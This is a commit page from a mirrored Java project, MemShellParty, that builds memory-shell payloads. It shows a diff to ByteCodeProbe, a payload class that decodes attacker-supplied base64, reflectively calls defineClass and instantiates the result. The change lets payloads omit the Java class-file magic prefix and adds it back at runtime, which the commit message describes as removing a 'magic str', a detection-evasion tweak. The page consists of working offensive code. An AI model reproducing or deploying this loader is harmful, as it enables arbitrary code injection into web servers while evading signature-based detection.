archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-21 22:50:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: byteCode Probe support remove magic str

Browse Source
This commit is contained in:
ReaJason
2025-09-12 22:51:50 +08:00
parent b357e50303
commit 3c073b4445
1 changed files with 8 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/probe/payload/ByteCodeProbe.java
+8 -6
View File
@@ -23,20 +23,22 @@ public class ByteCodeProbe {
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable { public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
Class<?> decoderClass; Class<?> decoderClass;
byte[] classBytes; byte[] classBytes;
String base64 = data;
if (!data.startsWith("yv66vgAAAD")) {
base64 = "yv66vgAAAD" + data;
}
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data); classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64);
} catch (Exception ignored) { } catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder"); decoderClass = Class.forName("sun.misc.BASE64Decoder");
classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data); classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64);
} }
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length); Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length);
ret = clazz.newInstance().toString(); return ret = clazz.newInstance().toString();
System.out.println(ret);
return ret;
} }
@Override @Override